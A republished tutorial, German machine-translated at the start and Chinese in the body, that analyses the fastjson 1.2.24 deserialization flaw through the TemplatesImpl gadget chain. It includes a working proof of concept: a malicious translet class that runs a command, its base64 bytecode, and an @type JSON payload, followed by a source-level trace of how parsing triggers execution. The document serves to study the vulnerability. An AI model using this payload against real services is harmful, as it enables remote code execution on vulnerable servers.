Heim  >  Artikel  >  Java  >  Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

PHPz
PHPznach vorne
2023-04-19 13:28:031784Durchsuche

Schwachstellenumgebung:

fastjson1.2.24

jdk1.7.80

Erstellen Sie ein neues Maven-Projekt und führen Sie Fastjson-Abhängigkeiten im Pom ein. Eine Datenformat-Parsing-Bibliothek, die das Parsen von Java-Objekten in Daten im JSON-String-Format unterstützt und kann auch JSON-Strings in Java-Objekten wiederherstellen. Es ist nicht schwer zu erkennen, dass das Konvertieren von Java-Objekten in JSON-Daten ein Serialisierungsvorgang und das Wiederherstellen von JSON-Daten in Java-Objekten ein Deserialisierungsprozess ist.

1. Fastjson-Serialisierung

Werfen wir nun einen Blick auf den Fastjson-Serialisierungsprozess und definieren eine Pojo-Klasse:

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
Beispielprogramm:

public class Student {
 
    private String name;
    private int age;
 
    public Student() {
        System.out.println(" method: Student() ");
    }
    public Student(String name , int age) {
        System.out.println(" method: Student(String name , int age) ");
        this.name = name;
        this.age = age;
    }
 
    public String getName() {
        System.out.println(" method: getName() ");
        return name;
    }
    public int getAge() {
        System.out.println(" method: getAge() ");
        return age;
    }
    public void setName(String name) {
        System.out.println(" method: setName() ");
        this.name = name;
    }
    public void setAge(int age) {
        System.out.println(" method setAge() ");
        this.age = age;
    }
}
Die Ausführungsergebnisse sind wie folgt:

Methode : Student( String name, int age)

Methode: getAge()

Methode: getName()

{"age":3,"name":"zhangsan"}

fastjson ruft die toJSONString-Methode zum Konvertieren auf das Student-Objekt in json Die Getter-Methode des Objekts wird während der Zeichenfolgendatenverarbeitung aufgerufen.

Darüber hinaus kann die toJSONString-Methode beim Serialisieren auch einen optionalen SerializerFeature.WriteClassName-Parameter angeben. Nach Angabe dieses Parameters wird während der Serialisierung eine @type-Option in die JSON-Daten geschrieben,

wie unten gezeigt:

Die @type-Option in den JSON-Daten wird verwendet, um die Klasse für die Deserialisierung anzugeben. Das heißt, wenn diese JSON-Daten deserialisiert werden, werden sie entsprechend dem vollständigen Namen der in der @type-Option angegebenen Klasse dekodiert. In Java-Objekte serialisiert. Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

2. Fastjson-Deserialisierung

Fastjson bietet zwei Deserialisierungsfunktionen: parseObject und parse. Schauen wir uns den Deserialisierungsprozess von fastjson anhand eines Beispielprogramms an.

Methode 1 ruft die parseObject-Methode auf, um json zu konvertieren in ein Java-Objekt, und die Setter- und Getter-Methoden des Objekts werden während des Deserialisierungsprozesses aufgerufen. Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

Methode 2 ruft die parseObject-Methode zur Deserialisierung auf und gibt die Student-Klasse des Deserialisierungsobjekts an. Die parseObject-Methode deserialisiert die JSON-Daten in ein Student-Objekt und ruft während des Deserialisierungsprozesses die Setter-Methode des Student-Objekts auf.

Methode 3 ruft die Parse-Methode auf, um die JSON-Daten in ein Java-Objekt zu deserialisieren, und ruft während der Deserialisierung die Setter-Methode des Objekts auf.

Über

Feature.SupportNonPublicFieldParameter: Die oben genannten drei Methoden rufen den Konstruktor des Objekts auf, um das Objekt beim Deserialisieren zu erstellen, und rufen auch die Setter-Methode des Objekts auf, wenn diese privat ist Die Eigenschaft stellt keine Setter-Methode bereit. Wird sie trotzdem erfolgreich und ordnungsgemäß deserialisiert? Um diese Vermutung zu überprüfen, entfernen wir nun die Setter-Methode des privaten Eigenschaftsnamens des Student-Objekts.

Den Ergebnissen der Programmausführung nach zu urteilen, wird der Name des privaten Attributs nicht korrekt deserialisiert, was bedeutet, dass fastjson private Attribute standardmäßig nicht deserialisiert.

Wenn Sie private Eigenschaften deserialisieren müssen, können Sie die parseObject-Methode aufrufen, um den Feature.SupportNonPublicField-Parameter anzugeben, Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

wie unten gezeigt:

Methode 1 gibt Feature.SupportNonPublicField beim Deserialisieren nicht an Parameter: Der private Attributname hat keinen Wert, wenn er nicht deserialisiert ist. Nachdem der Parameter Feature.SupportNonPublicField in den Methoden 2 und 3 angegeben wurde, kann der private Attributname korrekt deserialisiert werden. Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

3. Prinzip der Fastjson-Deserialisierungsschwachstelle

Im vorherigen Abschnitt wissen wir, dass Fastjson beim Deserialisieren den Konstruktor, Setter, Getter und andere Methoden des Zielobjekts aufruft. Wenn innerhalb dieser Methoden einige gefährliche Vorgänge ausgeführt werden, kann Fastjson dies tun löst bei der Deserialisierung eine Sicherheitslücke aus.

Wir verwenden einen einfachen Fall, um das Prinzip der Fastjson-Deserialisierungsschwachstelle zu veranschaulichen.

public class FastjsonTest1 {
    public static void main(String[] args) {
        Student student = new Student("zhangsan" , 3);
        String jsonString = JSON.toJSONString(student);
        System.out.println(jsonString);
    }
}

In diesem Beispielprogramm wird zunächst eine bösartige Klasse erstellt und dann die toJSONString-Methode aufgerufen, um das Objekt zu serialisieren und in @type zu schreiben, wobei @ angegeben wird Typ als bösartig Der vollständige Klassenname der Klasse TestTempletaHello. Wenn die Parse-Methode zum Deserialisieren der TestTempletaHello-Klasse aufgerufen wird, wird die Konstruktormethode der bösartigen Klasse aufgerufen, um ein Instanzobjekt zu erstellen, also den statischen Codeblock in der bösartigen Klasse TestTempletaHello wird ausgeführt.

Die Ausführungsergebnisse lauten wie folgt:

4. Fastjson1.2.24-SchwachstellenwiederkehrJava-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

In tatsächlichen Szenarien gibt es in vielen Kategorien keinen so offensichtlichen Code, der Schwachstellen erzeugen kann, und Angreifer müssen häufig Wege dazu finden Übergeben Sie einige Vorgänge (z. B. Reflection, Laden von Klassen und einige gefährliche Funktionen), um eine Exploit-Umgebung zu erstellen.

在学习CC2利用链的时候我们分析了一个基于TemplatesImpl类的利用链,该类会把_bytecodes属性的字节码内容加载并实例化,关于TemplatesImpl类的利用链的具体介绍可参考CC2利用链。

fastjson1.2.24的反序列化漏洞也是基于TemplatesImpl类来构造利用链,思路如下:

  • 1. 构造一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist字节码编程将恶意类TempletaPoc转换成字节码并进行base64编码。

  • 2. 然后构造TemplatesImpl类的json数据,将TempletaPoc类的字节码设置到_bytecodes属性中,当json数据在还原成TemplatesImpl对象时会加载_bytecodes属性中的TempletaPoc类并实例化,从而触发漏洞。

定义一个恶意类TempletaPoc继承AbstractTranslet类,通过javassist将恶意类TempletaPoc转换成字节码,然后进行base64编码

package com.fastjson.pojo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TempletaPoc extends AbstractTranslet {
	//构造RCE代码
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
    }
}

最终的poc代码:

package com.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.fastjson.pojo.Student;
import com.fastjson.pojo.TempletaPoc;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import javassist.*;
 import java.io.IOException;
/**
 * @auther songly_
 */
public class FastjsonTest1 {
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
        //恶意类TempletaPoc转换成字节码,base64编码
        String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";
        //构造TemplatesImpl的json数据,并将恶意类注入到json数据中
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String payload = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+byteCode+"\"]," +
                "&#39;_name&#39;:&#39;TempletaPoc&#39;," +
                "&#39;_tfactory&#39;:{}," +
                "\"_outputProperties\":{}}\n";
        System.out.println(payload);
        //反序列化
        Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
    }
}

这里解释一下payload的构造:

  • @type:当fastjson根据json数据对TemplatesImpl类进行反序列化时,会调用TemplatesImpl类的getOutputProperties方法触发利用链加载_bytecodes属性中的TempletaPoc类字节码并实例化,执行RCE代码。

  • _bytecodes:前面已经介绍过了,主要是承载恶意类TempletaPoc的字节码。

  • _name:关于_name属性,在调用TemplatesImpl利用链的过程中,会对_name进行不为null的校验,因此_name的值不能为null(具体可参考CC2利用链)

  • _tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类

  • outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。

漏洞利用成功,接下来我们分析一下parseObject方法是如何触发漏洞的

Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

5. fastjson1.2.24漏洞分析

参数features是一个可变参数,parseObject方法底层实际上是调用了parse方法进行反序列化,并且将反序列化的Object对象转成了JSONObject

    public static JSONObject parseObject(String text, Feature... features) {
        return (JSONObject) parse(text, features);
    }

parse方法会循环获取可变参数features中的值,然后继续调用parse方法

	public static Object parse(String text, Feature... features) {
        int featureValues = DEFAULT_PARSER_FEATURE;
        for (Feature feature : features) {
            featureValues = Feature.config(featureValues, feature, true);
        }
 
        return parse(text, featureValues);
    }

分析parse方法:

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        }
		//将json数据放到了一个DefaultJSONParser对象中
        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
		//然后调用parse方法解析json
        Object value = parser.parse();
 
        parser.handleResovleTask(value);
 
        parser.close();
 
        return value;
    }

parse方法创建了一个JSONObject对象存放解析后的json数据,而parseObject方法作用就是把json数据的内容反序列化并放到JSONObject对象中,JSONObject对象内部实际上是用了一个HashMap来存储json。

	public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
			//省略部分代码......
            case LBRACE:
				//创建一个JSONObject对象
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
				//parseObject方法
                return parseObject(object, fieldName);
			//省略部分代码......
		}
	}

继续跟进parseObject方法;

	public final Object parseObject(final Map object, Object fieldName) {
		//省略部分代码......
		//从json中提取@type
		key = lexer.scanSymbol(symbolTable, &#39;"&#39;);
		//省略部分代码......
		
		//校验@type
		if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
			//提取type对应的值
			String typeName = lexer.scanSymbol(symbolTable, &#39;"&#39;);
			//然后根据typeName进行类加载
			Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
 
			if (clazz == null) {
				object.put(JSON.DEFAULT_TYPE_KEY, typeName);
				continue;
			}
		}
		//省略部分代码......
		
		//然后将class对象封装成ObjectDeserializer对象
		ObjectDeserializer deserializer = config.getDeserializer(clazz);
		//然后调用deserialze方法进行反序列化
		return deserializer.deserialze(this, clazz, fieldName);
	}

parseObject方法主要是从json数据中提取@type并进行校验是否开启了autoType功能,接着会调用loadClass方法加载@type指定的TemplatesImpl类,然后将TemplatesImpl类的class对象封装到ObjectDeserializer 中,然后调用deserialze方法进行反序列化。

我们来看一下deserializer的内容,如下图所示:

Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

 TemplatesImpl类的每个成员属性封装到deserializer的fieldInfo中了。

然后调用了deserialze方法,该方法中的参数如下所示:

Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

deserialze方法内部的代码逻辑实在是太复杂了,内部有大量的校验和if判断,这里只是简单的分析了大概的逻辑,这些已经足够我们理解TemplatesImpl的利用链了,后期深入分析fastjson的防御机制,以及在构造payload如何绕过校验机制时,再深入分析deserialze方法分析fastjson的解析过程做了哪些事情,目前我们先把TemplatesImpl的利用链搞清楚再说。

protected <T> T deserialze(DefaultJSONParser parser, Type type,  Object fieldName,  Object object, int features) {
		
			     //省略部分代码......
			
			     //调用createInstance方法实例化
			    if (object == null && fieldValues == null) {
                    object = createInstance(parser, type);
                    if (object == null) {
                        fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
                    }
                    childContext = parser.setContext(context, object, fieldName);
                }
			
			//省略部分代码......
			
			//调用parseField方法解析json
			boolean match = parseField(parser, key, object, type, fieldValues);
		}

 我们只分析deserialze方法中的部分核心代码,deserialze方法内部主要是调用了createInstance方法返回一个object类型的对象(也就是TemplatesImpl对象),然后调用了parseField方法解析属性字段。

parseField方法:

    public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
		//省略部分代码......
 
        FieldDeserializer fieldDeserializer = smartMatch(key);
		//SupportNonPublicField选项
        final int mask = Feature.SupportNonPublicField.mask;
		
		//if判断会校验SupportNonPublicField选项
        if (fieldDeserializer == null
                && (parser.lexer.isEnabled(mask)
                    || (this.beanInfo.parserFeatures & mask) != 0)) {
            //获取TemplatesImpl对象的属性信息
        }
 
		//省略部分代码......
 
		//调用parseField方法解析字段
        fieldDeserializer.parseField(parser, object, objectType, fieldValues);
 
        return true;
    }

parseField方法内部会对参数features中的SupportNonPublicField选项进行校验,这个if判断主要是获取TemplatesImpl对象的所有非final或static的属性,如果fastjson调用parseObject方法时没有设置SupportNonPublicField选项的话,就不会进入这个if判断,那么fastjson在进行反序列化时就不会触发漏洞。

校验完SupportNonPublicField选项后,调用parseField方法解析TemplatesImpl对象的属性字段,先来看一下parseField方法的参数

Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

parseField方法主要会做以下事情,调用fieldValueDeserilizer的deserialze方法将json数据中每个属性的值都提取出来放到value 中,然后调用setValue方法将value的值设置给object。

    @Override
    public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
		
		//省略部分代码......
		
		//解析json中的数据(将每个属性的值还原)
		value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
		 
		 //省略部分代码......
		 
		 setValue(object, value);
   }

可以看到deserialze方法将json数据中的_bytecodes值提取出来进行base64解码存放到value中,接着调用setValue方法将value设置给object(即TemplatesImpl对象的_bytecodes)。

Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

继续跟进fieldValueDeserilizer的deserialze方法

    public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
		//省略部分代码......
 
        if (lexer.token() == JSONToken.LITERAL_STRING) {
			//调用了bytesValue方法
            byte[] bytes = lexer.bytesValue();
            lexer.nextToken(JSONToken.COMMA);
            return (T) bytes;
        }
		
		//省略部分代码......
		
	}

deserialze方法内部调用了bytesValue方法。

bytesValue方法内部调用了确实对json数据中的_bytecodes值进行了base64解码

Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

前面我们说过json数据中的outputProperties的作用是触发TemplatesImpl利用链的

触发漏洞的关键就在于当fastjson调用setValue方法将json数据中的outputProperties的值设置给TemplatesImpl对象时会触发漏洞,调用TemplatesImpl类的getOutputProperties方法。

继续分析setValue方法是如何触发漏洞的

public void setValue(Object object, Object value){
		//首先校验value是否为null
        if (value == null //
            && fieldInfo.fieldClass.isPrimitive()) {
            return;
        }
 
        try {
			//根据outputProperties属性获取对应的方法
            Method method = fieldInfo.method;
            if (method != null) {
                if (fieldInfo.getOnly) {
                    if (fieldInfo.fieldClass == AtomicInteger.class) {
                        AtomicInteger atomic = (AtomicInteger) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicInteger) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicLong.class) {
                        AtomicLong atomic = (AtomicLong) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicLong) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicBoolean.class) {
                        AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicBoolean) value).get());
                        }

                    } else if (Map.class.isAssignableFrom(method.getReturnType())) {
						//反射调用getOutputProperties方法
                        Map map = (Map) method.invoke(object);
                        if (map != null) {
                            map.putAll((Map) value);
                        }
                    } else {
                        Collection collection = (Collection) method.invoke(object);
                        if (collection != null) {
                            collection.addAll((Collection) value);
                        }
                    }
                } else {
                    method.invoke(object, value);
                }
                return;
            }
    }
	
	//省略部分代码......
	
}

setValue方法对value进行了不为null的校验,然后解析_outputProperties(json中的_outputProperties被封装到了fieldInfo中)。

fastjson会将属性的相关信息封装到fieldInfo中,具体信息如下:

Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

然后判断method中的getOutputProperties的返回值是否为Map,为什么是通过Map接口的class对象来判断?因为Properties实现了Map接口,因此这个判断满足条件会通过反射调用TemplatesImpl对象的getOutputProperties方法。

关于getOutputProperties方法的调用

不知道大家有没有思考过fastjson是如何获取到getOutputProperties方法的?原因在于parseField方法内部调用了JavaBeanDeserializer类的smartMatch方法

Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

smartMatch方法会将json中的_outputProperties中的下划线去掉,替换成outputProperties并封装到fieldInfo中,我们知道fastjson在反序列化过程中会调用属性的getter方法,因此这里还会将outputProperties属性的getter方法也封装到fieldInfo中的method当中。

    public FieldDeserializer smartMatch(String key) {
 
 
		//省略部分代码......
        
        if (fieldDeserializer == null) {
            boolean snakeOrkebab = false;
            String key2 = null;
            for (int i = 0; i < key.length(); ++i) {
                char ch = key.charAt(i);
				//是否有"_"特殊字符串
                if (ch == &#39;_&#39;) {
                    snakeOrkebab = true;
					//把_字符串替换为空
                    key2 = key.replaceAll("_", "");
                    break;
                } else if (ch == &#39;-&#39;) {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("-", "");
                    break;
                }
            }
            if (snakeOrkebab) {
                fieldDeserializer = getFieldDeserializer(key2);
                if (fieldDeserializer == null) {
                    for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
                        if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
                            fieldDeserializer = fieldDeser;
                            break;
                        }
                    }
                }
            }
        }
 
      //省略部分代码......
	  
    }

我们貌似... 大概知道了getOutputProperties方法是如何获取的,继续思考一下:fastjson在反序列化过程中具体是如何调用属性的getter方法的?

答案是JavaBeanInfo类中有一个build方法,当通过@type获取TemplatesImpl类的calss对象后,会通过反射获取该类的class对象的所有方法并封装到Method数组中。然后通过for循环遍历Method获取getter方法,并将outputProperties属性和getter方法(getOutputProperties方法)一起封装到FieldInfo,从代码中确实可以看到add方法会将FieldInfo放到了一个fieldList中,然后将fieldList封装到JavaBeanInfo

Java-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse

getter方法的查找方式需要满足以下几个条件:

方法名长度不小于4

必须是非静态方法

必须get字符串开头,并且第四个字符为大写字母

方法中不能有参数

返回值继承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong

在getter方法中不能有setter方法

这样一来自然就获取到了getOutputProperties( )方法,当setValue方法从FieldInfo获取到outputProperties属性和getOutputProperties方法并反射调用getOutputProperties方法就会触发TemplatesImpl利用链。

getOutputProperties方法内部调用了newTransformer方法

    public synchronized Properties getOutputProperties() {
        try {
			//调用newTransformer方法
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

newTransformer方法内部调用了getTransletInstance方法

    public synchronized Transformer newTransformer() throws TransformerConfigurationException {
        TransformerImpl transformer;
		//调用了getTransletInstance方法
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
 
        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }
 
        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

getTransletInstance方法内部会对_name和_class进行不为null校验, 我们构造的payload没有_class,因此这里_class为null会调用defineTransletClasses方法加载_bytecodes属性的类字节码(加载TempletaPoc类)。

    private Translet getTransletInstance() throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
			//调用defineTransletClasses方法
            if (_class == null) defineTransletClasses();
		
		//根据_class实例化类
		AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    }

跟进defineTransletClasses方法:

    private void defineTransletClasses() throws TransformerConfigurationException {
		//校验_bytecodes
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
 
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
					//通过_tfactory调用getExternalExtensionsMap方法
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });
 
        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
 
            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }
 
            for (int i = 0; i < classCount; i++) {
				//加载_bytecodes中的类(TempletaPoc)
                _class[i] = loader.defineClass(_bytecodes[i]);
				//获取TempletaPoc的父类
                final Class superClass = _class[i].getSuperclass();
 
                // Check if this is the main class
				//是否继承了AbstractTranslet类
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
 
            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

defineTransletClasses方法内部会加载_bytecodes中的类字节码数据(加载TempletaPoc类),并且会校验TempletaPoc类是否继承了AbstractTranslet类。然后返回到getTransletInstance方法中,调用newInstance方法实例化TempletaPoc类执行RCE代码。

Das obige ist der detaillierte Inhalt vonJava-Sicherheit fastjson1.2.24 DeserialisierungsvorlagenImpl-Instanzanalyse. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen